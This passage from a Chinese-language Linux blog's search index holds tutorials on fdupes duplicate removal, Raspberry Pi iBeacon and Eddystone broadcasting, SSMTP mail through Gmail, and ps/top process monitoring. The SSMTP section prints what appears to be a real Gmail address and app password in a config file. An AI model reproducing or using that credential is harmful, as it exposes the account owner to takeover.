Linux 系統中使用 fdupes 這個指令找出重複內容的檔案，並且刪除之以節省硬碟空間。\n電腦在使用一段時間之後，難免在硬碟中會有很多雜七雜八的檔案，為了節省硬碟空間，我們通常都會希望將重複的檔案刪除，然而要找出重複的檔案是非常費工又費時的。\n在 Linux 中有一個 fdupes 指令，可以讓我們很方便的找出重複的檔案，並且刪除這些不必要的檔案，以下是使用方式。\n安裝 fdupes 在 Ubuntu 等 Debian 系列的 Linux 中，可接用 apt 安裝：\nsudo apt-get install fdupes 在 CentOS/RHEL 與 Fedora 中，可以使用 yum：\nsudo yum install fdupes 從 Fedora 22 之後，則使用 dnf：\nsudo dnf install fdupes 使用 fdupes fdupes 在判斷檔案是否相同時，會按照以下的方式依序檢查：\n檔案大小。 檔案部份內容的 MD5 檢查碼。 完整檔案的 MD5 檢查碼。 檔案內容。 也就是說 fdupes 在拿到兩個檔案時，會先比較兩個檔案的大小是否相同，如果檔案大小一模一樣的話，才繼續檢查後續的 MD5 檢查碼，若檢查到最後的檔案內容都全相同，則判定兩個檔案是重複的。\n而如果兩個檔案在大小上就有差異的話，這兩個檔案的內容就一定不同，後續的 MD5 檢查碼與檔案內容就可以不需要檢查了，這樣可以加快檢查的速度。\n產生測試用檔案 介紹 fdupes 的用法之前，先產生一些測試用的檔案：\nfor i in {1..5}; do date \u0026gt; file${i}.txt ; done sleep 1 for i in {6..10}; do date \u0026gt; file${i}.txt ; done sleep 1 for i in {11..15}; do date \u0026gt; file${i}.txt ; done 這裡我將 date 指令所輸出的日期導入檔案中產生測試用的檔案，這些檔案有很多會是相同的內容。\nls -l total 60 -rw-r--r-- 1 pi pi 29 Dec 28 10:43 file1.txt -rw-r--r-- 1 pi pi 29 Dec 28 10:43 file10.txt -rw-r--r-- 1 pi pi 29 Dec 28 10:43 file11.txt -rw-r--r-- 1 pi pi 29 Dec 28 10:43 file12.txt -rw-r--r-- 1 pi pi 29 Dec 28 10:43 file13.txt -rw-r--r-- 1 pi pi 29 Dec 28 10:43 file14.txt -rw-r--r-- 1 pi pi 29 Dec 28 10:43 file15.txt -rw-r--r-- 1 pi pi 29 Dec 28 10:43 file2.txt -rw-r--r-- 1 pi pi 29 Dec 28 10:43 file3.txt -rw-r--r-- 1 pi pi 29 Dec 28 10:43 file4.txt -rw-r--r-- 1 pi pi 29 Dec 28 10:43 file5.txt -rw-r--r-- 1 pi pi 29 Dec 28 10:43 file6.txt -rw-r--r-- 1 pi pi 29 Dec 28 10:43 file7.txt -rw-r--r-- 1 pi pi 29 Dec 28 10:43 file8.txt -rw-r--r-- 1 pi pi 29 Dec 28 10:43 file9.txt 接著我們就要使用 fdupes 把重複的檔案找出來。\n列出重複的檔案 執行 fdupes 加上要檢查的目錄路徑，即可列出有重複的檔案列表：\nfdupes /home/pi/fdupes/ 輸出會像這樣：\n/home/pi/fdupes/file9.txt /home/pi/fdupes/file10.txt /home/pi/fdupes/file7.txt /home/pi/fdupes/file8.txt /home/pi/fdupes/file6.txt /home/pi/fdupes/file11.txt /home/pi/fdupes/file14.txt /home/pi/fdupes/file12.txt /home/pi/fdupes/file15.txt /home/pi/fdupes/file13.txt /home/pi/fdupes/file2.txt /home/pi/fdupes/file1.txt /home/pi/fdupes/file5.txt /home/pi/fdupes/file4.txt /home/pi/fdupes/file3.txt 加上 -S 參數可以輸出檔案的大小：\nfdupes -S /home/pi/fdupes/ 29 bytes each: /home/pi/fdupes/file9.txt /home/pi/fdupes/file10.txt /home/pi/fdupes/file7.txt /home/pi/fdupes/file8.txt /home/pi/fdupes/file6.txt 29 bytes each: /home/pi/fdupes/file11.txt /home/pi/fdupes/file14.txt /home/pi/fdupes/file12.txt /home/pi/fdupes/file15.txt /home/pi/fdupes/file13.txt 29 bytes each: /home/pi/fdupes/file2.txt /home/pi/fdupes/file1.txt /home/pi/fdupes/file5.txt /home/pi/fdupes/file4.txt /home/pi/fdupes/file3.txt 如果要以遞迴的方式檢查該路徑所有子目錄下的檔案，可以加上 -r 參數：\nfdupes -r /home/pi/ 如果要搜尋比較大範圍的檔案時（例如整個家目錄），可能會找到許多系統用的隱藏檔，這些檔案雖然是重複的，但是多半不能隨便刪除，這時候可以加上 -A 參數排除隱藏檔：\nfdupes -rA /home/pi/ 也可以同時指定多個要檢查的路徑：\nfdupes -rS /path/one/ /path/two/ 加上 -m 參數可讓 fdupes 只輸出簡單的統計數字：\nfdupes -rm /home/pi/ 1481 duplicate files (in 589 sets), occupying 37.1 megabytes 刪除重複的檔案 通常找到重複的檔案之後，就是要把多餘的副本刪除，而刪除檔案有好幾種方式，最直接的就是加上 -d 參數：\nfdupes -d /home/pi/fdupes/ 這時候 fdupes 在找到重複的檔案時，就會詢問使用者要保留那一個檔案：\n[1] /home/pi/fdupes/file9.txt [2] /home/pi/fdupes/file10.txt [3] /home/pi/fdupes/file7.txt [4] /home/pi/fdupes/file8.txt [5] /home/pi/fdupes/file6.txt Set 1 of 3, preserve files [1 - 5, all]: 使用者可以輸入想要保留的檔案編號，或是輸入 all 全部保留。\n另一種方式是加上 -f 參數，讓 fdupes 將重複的檔案列表中，捨棄第一個找到的檔案，從二個重複的檔案開始列出來，也就是說這樣列出來的檔案是都可以直接刪除的：\nfdupes -f /home/pi/fdupes/ /home/pi/fdupes/file10.txt /home/pi/fdupes/file7.txt /home/pi/fdupes/file8.txt /home/pi/fdupes/file6.txt /home/pi/fdupes/file14.txt /home/pi/fdupes/file12.txt /home/pi/fdupes/file15.txt /home/pi/fdupes/file13.txt /home/pi/fdupes/file1.txt /home/pi/fdupes/file5.txt /home/pi/fdupes/file4.txt /home/pi/fdupes/file3.txt 我們可以直接使用 rm 配合 xargs 來自動刪除這些重複的檔案：\nfdupes -f /home/pi/fdupes/ | xargs rm -f 而比較保險的作法是建立一個垃圾桶目錄，將這些重複的檔案移到這個目錄中，等確認無誤後再把它們刪除：\nmkdir trash_can fdupes -f /home/pi/fdupes/ | xargs -I \u0026#39;{}\u0026#39; mv \u0026#39;{}\u0026#39; trash_can 然而這樣的作法就沒辦法選擇要保留那一個檔案了。\n最後一種作法就是把重複的檔案列表導入檔案，人工檢查每一個檔案，手動刪除：\nfdupes /home/pi/fdupes/ \u0026gt; dup.tx 參考資料 Tecmint Linux.com HTG ","permalink":"https://blog.gtwang.org/linux/fdupes-find-and-delete-duplicate-files-in-linux/","summary":"\u003cp\u003e這裡介紹如何在 Linux 系統中使用 \u003ccode\u003efdupes\u003c/code\u003e 這個指令找出重複內容的檔案，並且刪除之以節省硬碟空間。\u003c/p\u003e\n\u003cp\u003e電腦在使用一段時間之後，難免在硬碟中會有很多雜七雜八的檔案，為了節省硬碟空間，我們通常都會希望將重複的檔案刪除，然而要找出重複的檔案是非常費工又費時的。\u003c/p\u003e","title":"Linux 使用 fdupes 指令搜尋重複的檔案並刪除，節省硬碟空間"},{"content":"這裡介紹如何以樹莓派開發版與低功耗藍牙的 Beacon 傳輸技術，依循 Eddystone 通訊協定，開發實體網頁的應用。\n由 Google 所推出的 Eddystone 低功耗藍牙傳輸格式，支援多種訊框型態，可因應不同的情境傳送不同的資料，同時也加入版本管理的功能，以適應未來新功能的加入。\nEddystone 以 Apache 2.0 的方式授權，公佈於 GitHub 網站上，任何人都可以自由使用或改進，關於 Eddystone 的簡介可以參考 iThome 的文章。\n以下我們以第三代的樹莓派為測試環境，示範如何自己用樹莓派打造一個 Beacon 訊號發射器，以 Eddystone 格式傳送一串網址給行動裝置，實現實體網頁（physical web）的實例應用。\n準備工作 要用樹莓派發送 Eddystone 的 Beacon 訊號，跟發送 iBeacon 訊號的實做方式差不多，首先要把 BlueZ 安裝好，安裝的步驟請參考樹莓派 Raspberry Pi 實作 iBeacon 發射器這篇文章。\n建立 Eddystone 格式的網址 URL 訊框 在使用 Beacon 發送 Eddystone 格式的網址之前，我們要先依照自己的網址建立一個符合 Eddystone 格式的訊框（frame），其格式可參考 Eddystone-URL 官方的標準。\n這裡我以 G. T. Wang 部落格的網址 https://blog.gtwang.org/ 這個網址為例，建立一個 Eddystone 格式的訊框。 首先來處理網址的部份，將網址的文字以 ASCII 表的十六進位數值表示，有些網址中的特殊字串可以使用 Eddystone 格式所提供的代碼表示，轉換之後變成這個表：\n值（十六進位） 說明 03 https:// 62 6C 6F 67 blog 2E . 67 74 77 61 6E 67 gtwang 01 .org/ 接著再依照 Eddystone Protocol Specification 組成完整的訊框資料：\n值（十六進位） 說明 1a 資料長度（要自行計算） 02 01 06 Adv. Flags（固定值） 03 03 aa fe （固定值） 12 資料長度（要自行計算） 16 aa fe 10 （固定值） 00 傳送訊號的強度（要自行處理過） 03 62 6C 6F 67 2E 67 74 77 61 6E 67 01 網址 00 00 00 00 00 空白 在建立訊框時，可參考 mbed 的圖表，會比較容易了解：\n發送 Eddystone 的 Beacon 訊號 建立好 Eddystone 訊框資料之後，再啟用藍牙的低耗能廣告（LE advertising）模式，並關閉掃描功能：\nsudo hciconfig hci0 leadv 3 sudo hciconfig hci0 noscan 接著使用 hcitool 設定要發送的訊框資料：\nsudo hcitool -i hci0 cmd 0x08 0x0008 1a 02 01 06 03 03 aa fe 12 16 aa fe 10 00 03 62 6C 6F 67 2E 67 74 77 61 6E 67 01 00 00 00 00 00 基本上發送 Eddystone 格式的 Beacon 訊號與發送 iBeacon 訊號的作法都相同，只是訊框的格式不同而已，所以指令都差不多。\n這是使用 Android 手機的 Beacon Scanner App 來檢查 Beacon 訊號的畫面：\n市面上目前也有許多針對 Beacon 實體網頁應用的手機 App 可以使用，開啟這類的 App 時，只要手持裝置與 Beacon 發射器之間的距離夠近，就會自動顯示 Eddystone 訊框中所附帶的網頁。\n自動化工具 在 Eddystone-URL Beacon Implementations 中有許多已經實作好的自動化工具，可以讓使用者不需要自行手動建立訊框。\n我以 Linux 上的 BlueZ 為例，示範一次該如何使用這類的工具。\n這個實作版本需要使用 BlueZ，不過我們在一開始就安裝好了，所以只要下載 advertise-url 這個 Python 的指令稿就可以直接使用了。\nsudo ./advertise-url -u http://blog.gtwang.org/ Advertising: http://blog.gtwang.org/ 只要一行指令即可，相當簡潔。若要停止發送含有 URL 的 Beacon 訊號，可執行：\nsudo ./advertise-url -s Stopping advertising 參考資料 yamir.dev IT 技術家 壞蛋的密室 ","permalink":"https://blog.gtwang.org/iot/raspberry-pi-eddystone-url-beacon-tutorial/","summary":"\u003cp\u003e這裡介紹如何以樹莓派開發版與低功耗藍牙的 Beacon 傳輸技術，依循 Eddystone 通訊協定，開發實體網頁的應用。\u003c/p\u003e\n\u003cp\u003e由 Google 所推出的 Eddystone 低功耗藍牙傳輸格式，支援多種訊框型態，可因應不同的情境傳送不同的資料，同時也加入版本管理的功能，以適應未來新功能的加入。\u003c/p\u003e","title":"樹莓派 Raspberry Pi 以 Eddystone 傳送 URL：打造實體網頁 Physical Web"},{"content":"這裡介紹如何使用樹莓派實作一個 iBeacon 發射器，發送 iBeacon 訊號給手機等行動裝置。\nBeacon 是一種以藍牙低功耗（BLE）資料傳輸技術為基礎，結合各種行動裝置的應用，這個技術可將少量的資料發送至附近的手機或平板等藍牙行動裝置，讓行動裝置上的應用程式獲得準確的位置相關資訊，非常適合用於室內定位、商場導覽等各種場合。\n而 iBeacon 則是蘋果公司所推出的一種 Beacon 傳輸協定，是目前主流的 Beacon 通訊協定之一，以下我們以第三代樹莓派的測試環境，實作一個測試用的 iBeacon 發射器，發送 iBeacon 訊號至手機。\n安裝 BlueZ 這裡我們需要安裝 BlueZ 5.11 以後的版本，如果 Linux 系統套件庫中的 BlueZ 套件版本，就可以使用 apt 安裝，如果系統套件庫的版本太舊，就必須下載 BlueZ 的原始碼自行編譯安裝。\n以 apt 安裝 BlueZ 檢查 apt 套件庫中的 bluez 版本：\napt-cache show bluez Package: bluez Version: 5.23-2+rpi2 Architecture: armhf [略] 如果版本夠新，就可以直接用 apt 安裝 BlueZ：\nsudo apt-get install bluez 檢查安裝的 BlueZ 套件版本：\ndpkg --status bluez | grep \u0026#39;^Version:\u0026#39; 從原始碼編譯安裝 BlueZ 在編譯 BlueZ 時會需要許多的系統函式庫，這些可用 apt 來安裝：\nsudo apt-get install libusb-dev libdbus-1-dev libglib2.0-dev libudev-dev libical-dev libreadline-dev 準備好編譯環境之後，接著從 BlueZ 官方網站下載最新的原始碼：\nwget http://www.kernel.org/pub/linux/bluetooth/bluez-5.43.tar.xz 解壓縮 BlueZ 原始碼：\ntar Jxvf bluez-5.43.tar.xz cd bluez-5.43/ 編譯 BlueZ：\n./configure --disable-systemd make 編譯完成後，要不要安裝都可以：\nsudo make install 若不安裝的話，可直接從 tools 目錄中取的所需的執行檔。\n以藍牙發送 iBeacon 訊號 以 hciconfig 檢查自己的藍牙設備是否有正常被偵測到，我這裡的測試環境是第三代的樹莓派，所以有內建的藍牙裝置，如果是比較舊的樹莓派，則可另外安插 USB 的藍牙傳輸器，用法也都相同：\nhciconfig hci0: Type: BR/EDR Bus: UART BD Address: B8:27:EB:FE:07:91 ACL MTU: 1021:8 SCO MTU: 64:1 DOWN RX bytes:661 acl:0 sco:0 events:34 errors:0 TX bytes:423 acl:0 sco:0 commands:34 errors:0 如果藍牙裝置的狀態處於未啟用的狀態（DOWN），可先將其啟用：\nsudo hciconfig hci0 up 確認藍牙裝置處於 UP RUNNING 的狀態：\nhciconfig hci0: Type: BR/EDR Bus: UART BD Address: B8:27:EB:FE:07:91 ACL MTU: 1021:8 SCO MTU: 64:1 UP RUNNING RX bytes:5547 acl:0 sco:0 events:309 errors:0 TX bytes:5754 acl:0 sco:0 commands:309 errors:0 啟用藍牙的低耗能廣告（LE advertising）模式，並關閉掃描功能：\nsudo hciconfig hci0 leadv 3 sudo hciconfig hci0 noscan 設定要送出的 iBeacon 資料：\nsudo hcitool -i hci0 cmd 0x08 0x0008 1E 02 01 1A 1A FF 4C 00 02 15 E2 0A 39 F4 73 F5 4B C4 A1 2F 17 D1 AD 07 A9 61 00 00 00 00 C8 00 \u0026lt; HCI Command: ogf 0x08, ocf 0x0008, plen 32 1E 02 01 1A 1A FF 4C 00 02 15 E2 0A 39 F4 73 F5 4B C4 A1 2F 17 D1 AD 07 A9 61 00 00 00 00 C8 00 \u0026gt; HCI Event: 0x0e plen 4 01 08 20 00 這行指令指定的是封包的原始資料，比較跟使用者有關的有以下幾個欄位：\n欄位 長度 說明 實際值（十六進位） ID uint8_t 固定值 02 資料長度 uint8_t payload 長度 15 UUID uint8_t[16] 128 bits 的 UUID 值 E2 0A 39 F4 73 F5 4B C4 A1 2F 17 D1 AD 07 A9 61 Major uint16_t Major 值 00 00 Minor uint16_t Minor 值 00 00 TX Power uint8_t[16] 傳送訊號的強度 C8 我們可以使用 Wireshark 來將實際送出的封包抓下來看，封包中每個位置的欄位解釋可以從 Wireshark 中查看：\n這時候我們就可以用手機上的 Beacon Scanner App 來檢查 iBeacon 的訊號了。\nlinux-ibeacon linux-ibeacon 是一個以 Python 寫成的指令稿，可以讓使用者非常簡單地在 Linux 系統上以藍牙設備建立 iBeacon 發射器。\n名稱：linux-ibeacon\n描述：快速建立 iBeacon 的 Python 指令稿\n網址：GitHub\n使用這個 Python 指令稿可以很方便的指定各個 iBeacon 資料欄位，不需要自己換算十六進位碼：\nsudo python ibeacon --uuid=E20A39F473F54BC4A12F17D1AD07A961 --major=123 --minor=456 Advertising on hci0 with: uuid: 0xE20A39F473F54BC4A12F17D1AD07A961 major/minor: 123/456 (0x007B/0x01C8) power: 200 (0xC8) LE set advertise enable on hci0 returned status 12 這是從手機上接收到的訊號：\n除了蘋果公司的 iBeacon 之外，Beacon 應用中其實還有其他的標準，例如 Google 所推出的 Eddystone 格式就比 iBeacon 更有彈性，還可以傳送 URL 網址，打造實體網頁，這部份可參考樹莓派 Raspberry Pi 以 Eddystone 傳送 URL 的教學文章。\n參考資料 adafruit MUO orange narwhals IT 技術家 阿舍 ","permalink":"https://blog.gtwang.org/iot/diy-build-raspberry-pi-ibeacon-transmitter-tutorial/","summary":"\u003cp\u003e這裡介紹如何使用樹莓派實作一個 iBeacon 發射器，發送 iBeacon 訊號給手機等行動裝置。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://en.wikipedia.org/wiki/Beacon\"\u003eBeacon\u003c/a\u003e 是一種以藍牙低功耗（BLE）資料傳輸技術為基礎，結合各種行動裝置的應用，這個技術可將少量的資料發送至附近的手機或平板等藍牙行動裝置，讓行動裝置上的應用程式獲得準確的位置相關資訊，非常適合用於室內定位、商場導覽等各種場合。\u003c/p\u003e","title":"樹莓派 Raspberry Pi 實作 iBeacon 發射器，低功耗藍牙 BLE 應用"},{"content":"這裡以樹莓派的 Linux 環境為例，介紹如何使用 SSMTP 與 GMail 配合指令或程式自動寄信。\nSSMTP 是一個專門用於送信的系統小工具，它的角色類似 sendmail，可透過標準輸入接收郵件資料，並且同步將郵件傳送至指定 MTA，進行電子郵件的遞送動作，而在結合 GMail 這類正式的 MTA 之後，就可以輕鬆讓 mail 這類 Linux 標準的 MUA 具備發信的能力。\n對於樹莓派的物聯網應用來說，通常會需要透過電子郵件發送資料，但是鮮少有收信的需求，所以使用 SSMTP 這樣輕量級的發信系統配合外部的 MTA 會是一得很好的選擇，以下是在樹莓派上設定 SSMTP 與 GMail MTA 的步驟教學。\n安裝與設定 SSMTP 使用 apt 安裝 ssmtp 與 mailutils 套件：\nsudo apt-get install ssmtp mailutils 接著要設定 SSMTP 的設定檔，更改之前先將預設的 SSMTP 設定檔備份起來：\nsudo cp /etc/ssmtp/ssmtp.conf /etc/ssmtp/ssmtp.conf.default 編輯 SSMTP 設定檔 /etc/ssmtp/ssmtp.conf：\n# 接收系統郵件的 Email root=guozhao.wang@gmail.com # 使用 GMail 的 MTA 送信 mailhub=smtp.gmail.com:587 # 設定 hostname hostname=raspberrypi # 允許使用者設定 Email 的 From 欄位 FromLineOverride=YES # Google 帳號與密碼 AuthUser=guozhao.wang@gmail.com AuthPass=YOUR_PASSWORD # 啟用安全加密連線 UseSTARTTLS=YES UseTLS=YES # 輸出除錯資訊 Debug=YES 設定完成後，就可以立即使用了，下面這行指令是使用 ssmtp 送信的範例：\necho \u0026#34;This is a test\u0026#34; | ssmtp recipient@your.domain.com Google 兩步驟驗證 如果您的 Google 帳戶有啟用兩步驟驗證登入，那麼在使用一般的 Google 帳號與密碼送信時，可能就會產生類似這樣的錯誤訊息：\nssmtp: Authorization failed (534 5.7.9 https://support.google.com/mail/?p=InvalidSecondFactor n17sm64719796pfg.80 - gsmtp) 造成這個問題的原因是 SSMTP 沒有支援兩步驟驗證，解決的方式是改用 Google 應用程式專用的密碼來登入，以下是處理的步驟。\nStep 1\n在 Google 登入和安全性的網頁中，選擇「應用程式密碼」。\nStep 2\n產生一個新的應用程式密碼，至於應用程式的名稱可以自己隨便取，例如「Raspberry Pi 的 SSMTP」。\nStep 3\n複製新的應用程式密碼，總共 16 碼。\n把 SSMTP 設定檔 /etc/ssmtp/ssmtp.conf 中的 Google 密碼替換成這組應用程式密碼，其餘設定不變：\n# Google 帳號與應用程式密碼 AuthUser=guozhao.wang@gmail.com AuthPass=oigoaujaketickhu 這樣一來在以 Google 帳號登入認證時，就可以不需要兩步驟驗證的程序了。\n加強 SSMTP 設定檔安全性 由於在 SSMTP 的設定檔中有自己的 Google 帳號與密碼，而這個設定檔的檔案權限是容許所有人觀看的，在安全性上會有比較大的問題，我們可以將這個設定檔設定為只有 ssmtp 送信程式可以讀取，這樣可以保護 Google 的帳號與密碼不會外洩。\n首先新增 ssmtp 群組：\nsudo groupadd ssmtp 將 SSMTP 的設定檔以及 /usr/sbin/ssmtp 這個執行檔的群組改為 ssmtp 群組：\nsudo chown :ssmtp /etc/ssmtp/ssmtp.conf sudo chown :ssmtp /usr/sbin/ssmtp 將 SSMTP 的設定檔權限設定為只有群組以上可以讀取，一般使用者無法讀取：\nsudo chmod 640 /etc/ssmtp/ssmtp.conf 最後設定讓 /usr/sbin/ssmtp 這個執行檔有 SGID 權限，讓它在執行時可以取的 ssmtp 的權限，以讀取 /etc/ssmtp/ssmtp.conf 的檔案內容：\nsudo chmod g+s /usr/sbin/ssmtp 各種寄信指令 這裡補充幾種在 Linux 命令列中送信的指令範例。\n在 Linux 中最常見的送信方式就是使用 mail 指令寄送電子郵件：\necho \u0026#34;這是信件內容。\u0026#34; | mail -s \u0026#34;測試信件\u0026#34; recipient@your.domain.com ssmtp 指令的用法也跟 mail 類似：\necho \u0026#34;這是信件內容。\u0026#34; | ssmtp recipient@your.domain.com 我們也可以將郵件的內容儲存在檔案中，再用 ssmtp 寄送。假設 mail.txt 的內容：\nTo: recipient@your.domain.com From: your_account@gmail.com Subject: 測試信件 這是信件內容。 G. T. Wang 以 ssmtp 寄送 Email：\nssmtp recipient@your.domain.com \u0026lt; mail.txt 若要寄送檔案，可以使用 mpack：\nsudo apt-get install mpack mpack -s \u0026#34;Test File\u0026#34; file.txt recipient@your.domain.com 參考資料 Arch Linux Wiki ubuntu documentation StackOverflow ","permalink":"https://blog.gtwang.org/iot/raspberry-pi/linux-send-mail-command-using-ssmtp-and-gmail/","summary":"\u003cp\u003e這裡以樹莓派的 Linux 環境為例，介紹如何使用 SSMTP 與 GMail 配合指令或程式自動寄信。\u003c/p\u003e\n\u003cp\u003eSSMTP 是一個專門用於送信的系統小工具，它的角色類似 \u003ccode\u003esendmail\u003c/code\u003e，可透過標準輸入接收郵件資料，並且同步將郵件傳送至指定 MTA，進行電子郵件的遞送動作，而在結合 GMail 這類正式的 MTA 之後，就可以輕鬆讓 \u003ccode\u003email\u003c/code\u003e 這類 Linux 標準的 MUA 具備發信的能力。\u003c/p\u003e","title":"Linux 使用 SSMTP 與 GMail 以指令或程式自動寄信教學"},{"content":"這裡介紹如何在 Linux 中使用 ps 與 top 指令列出系統上最吃 CPU 與記憶體的程式。\n作為 Linux 系統的管理者，時常都需要查看系統的負載狀況，如果系統中出現不正常的程式，吃掉太多的 CPU 或記憶體資源，就會影響系統的效能，太嚴重的話甚至會造成當機等狀況。\n查閱系統負載（loading）與行程（process）的狀況最常用的就是 ps 與 top 這兩個指令，以下我們示範如何利用這兩個指令撰寫簡單的指令稿，自動找出系統上最耗費資源的程式。\nps 指令 這行指令可利用 ps 指令列出行程的一些基本資訊，按照每個行程所使用的記憶體排序後，列出排名最前面的幾個行程，也就是列出系統上最耗費記憶體的程式：\nps -eo pid,ppid,cmd,%mem,%cpu --sort=-%mem | head 這裡的 -e 參數是代表輸出所有行程的資訊，而 -o 參數則是用來指定輸出欄位用的，後面接著所有想要輸出的欄位名稱，這裡我們讓 ps 輸出以下幾個欄位：\npid：行程 ID（process ID）。 ppid：父行程 ID（parent process ID）。 cmd：程式名稱。 %mem：記憶體使用量（百分比）。 %cpu：CPU 使用量（百分比）。 而 --sort 參數則是指定排序的依據欄位，預設會依照數值由小到大排序，若要由大到小的方式排序的話，可以在欄位名稱前加上一個負號。以這個例子來說，我們將排序的欄位指定為 -%mem，這樣就可以依照記憶體使用量，從大到小排序。\n最後將 ps 的輸出以 Linux 管線（pipe）導向至 head，只保留前 10 行的資料，其餘的都丟棄，以下是輸出的結果。\nPID PPID CMD %MEM %CPU 2124 1278 /usr/lib/chromium-browser/c 25.0 14.4 1446 1278 /usr/lib/chromium-browser/c 21.5 15.4 1253 1 /usr/lib/chromium-browser/c 19.2 13.0 1328 1278 /usr/lib/chromium-browser/c 7.6 2.9 1392 1278 /usr/lib/chromium-browser/c 7.6 0.5 732 669 /usr/bin/X :0 -seat seat0 - 5.7 2.0 1060 1 /usr/lib/arm-linux-gnueabih 1.8 0.0 1086 758 pcmanfm --desktop --profile 1.5 0.2 1085 758 lxpanel --profile LXDE-pi 1.5 0.3 若要找出系統上最耗費 CPU 的程式，也是使用類似的指令，只是在排序時，將排序的欄位換成 CPU 使用量：\nps -eo pid,ppid,cmd,%mem,%cpu --sort=-%cpu | head 輸出為：\nPID PPID CMD %MEM %CPU 1446 1278 /usr/lib/chromium-browser/c 33.8 19.6 1253 1 /usr/lib/chromium-browser/c 19.6 12.1 2124 1278 /usr/lib/chromium-browser/c 20.5 11.2 2555 1 gvim -f 2.5 6.3 1328 1278 /usr/lib/chromium-browser/c 6.1 3.0 732 669 /usr/bin/X :0 -seat seat0 - 7.1 2.2 1392 1278 /usr/lib/chromium-browser/c 6.7 0.5 1085 758 lxpanel --profile LXDE-pi 1.5 0.3 1060 1 /usr/lib/arm-linux-gnueabih 1.3 0.1 top 指令 top 指令是一個互動式（interactive）的工具，可以顯示即時的系統負載狀態，而它也可以用於指令稿中，輸出各種系統資訊。\n這行指令可將系統行程以記憶體的使用賴排序後，以 batch 模式輸出報表，並且只保留前 10 個最耗費記憶體的行程：\ntop -b -o +%MEM | head -n 17 其中 -b 參數是 batch 模式的意思，而 -o 參數則是設定以記憶體用量來排序行程，最後面的 head -n 17 則是篩選 top 輸出的文字內容，只保留前 17 行，剩餘的內容則捨棄。輸出會類似這樣：\ntop - 14:54:24 up 7 min, 3 users, load average: 0.99, 1.52, 0.87 Tasks: 164 total, 1 running, 163 sleeping, 0 stopped, 0 zombie %Cpu(s): 17.0 us, 2.7 sy, 0.1 ni, 68.2 id, 11.9 wa, 0.0 hi, 0.1 si, 0.0 st KiB Mem: 947732 total, 757336 used, 190396 free, 9892 buffers KiB Swap: 1914876 total, 8588 used, 1906288 free. 288704 cached Mem PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 1392 pi 20 0 557272 206424 90776 S 0.0 21.8 1:46.69 chromium-b+ 1223 pi 20 0 674816 194156 126276 S 0.0 20.5 1:42.47 chromium-b+ 1490 pi 20 0 459804 164732 76728 S 5.6 17.4 0:44.62 chromium-b+ 732 root 20 0 245288 84204 52640 S 0.0 8.9 0:15.90 Xorg 1353 pi 20 0 366756 82720 47504 S 0.0 8.7 0:07.21 chromium-b+ 1357 pi 20 0 355952 77080 55684 S 0.0 8.1 0:09.30 chromium-b+ 1293 pi 20 0 354048 73844 51024 S 0.0 7.8 0:13.32 chromium-b+ 1084 pi 20 0 105612 29380 24928 S 0.0 3.1 0:02.43 lxpanel 1243 pi 20 0 189852 28780 23760 S 0.0 3.0 0:00.16 chromium-b+ 1086 pi 20 0 147124 26976 24256 S 0.0 2.8 0:01.63 pcmanfm 若要找出最耗費 CPU 資源的行程，則改用 CPU 使用量來排序即可：\ntop -b -o +%CPU | head -n 17 輸出會類似這樣：\ntop - 15:12:19 up 25 min, 4 users, load average: 1.66, 1.43, 1.08 Tasks: 173 total, 1 running, 172 sleeping, 0 stopped, 0 zombie %Cpu(s): 13.4 us, 1.8 sy, 0.1 ni, 79.0 id, 5.6 wa, 0.0 hi, 0.1 si, 0.0 st KiB Mem: 947732 total, 870680 used, 77052 free, 5588 buffers KiB Swap: 1914876 total, 148740 used, 1766136 free. 267360 cached Mem PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 1959 pi 20 0 327404 49012 22340 S 107.0 5.2 0:02.75 java 1490 pi 20 0 459804 99192 49040 S 5.9 10.5 1:26.10 chromium-b+ 1809 pi 20 0 576268 162008 55228 S 5.9 17.1 0:57.49 chromium-b+ 1969 pi 20 0 7052 2380 2060 R 5.9 0.3 0:00.03 top 1 root 20 0 22948 2768 2120 S 0.0 0.3 0:04.85 systemd 2 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kthreadd 3 root 20 0 0 0 0 S 0.0 0.0 0:00.14 ksoftirqd/0 5 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 kworker/0:+ 6 root 20 0 0 0 0 S 0.0 0.0 0:02.67 kworker/u8+ 7 root 20 0 0 0 0 S 0.0 0.0 0:01.41 rcu_sched 通常如果發現異常的程式佔用了太多的 CPU 或記憶體，最好的處理方式就是把這些程式正常關閉，如果程式當掉無法關閉的話，就可以使用 kill 或 killall 這類的指令，中止不正常程式的執行，由於上面的報表中都有每個程式的 PID，所以使用 PID 來中止特定的程式是最直接的方式。\n假設我們想要中止的程式其 PID 是 1959，首先我們會用一般的方式嘗試讓程式正常結束：\nkill 1959 如過執行這行之後，沒有效果的話，再嘗試強制關閉程式：\nkill -9 1959 這兩種 kill 指令是最常見的處理方式。\n參考資料 Tecmint Tecmint ","permalink":"https://blog.gtwang.org/linux/ps-top-find-processes-by-cpu-memory-usage/","summary":"\u003cp\u003e這裡介紹如何在 Linux 中使用 \u003ccode\u003eps\u003c/code\u003e 與 \u003ccode\u003etop\u003c/code\u003e 指令列出系統上最吃 CPU 與記憶體的程式。\u003c/p\u003e\n\u003cp\u003e作為 Linux 系統的管理者，時常都需要查看系統的負載狀況，如果系統中出現不正常的程式，吃掉太多的 CPU 或記憶體資源，就會影響系統的效能，太嚴重的話甚至會造成當機等狀況。\u003c/p\u003e","title":"Linux 用 ps 與 top 指令找出最耗費 CPU 與記憶體資源的程式"},{"content":"這是阿玄最近的塗鴉畫。\n","permalink":"https://blog.gtwang.org/personal/qixuan-drawing-20161213/","summary":"\u003cp\u003e這是阿玄最近的塗鴉畫。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"阿玄的塗鴉畫\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20161213/qixuan-drawing-20161213-1.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"阿玄的塗鴉畫\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20161213/qixuan-drawing-20161213-2.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"阿玄的塗鴉畫\" loading=\"lazy\" src=\"/personal/qixuan-drawing-20161213/qixuan-drawing-20161214-1.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"阿玄的塗鴉畫\" loading=\"lazy\" 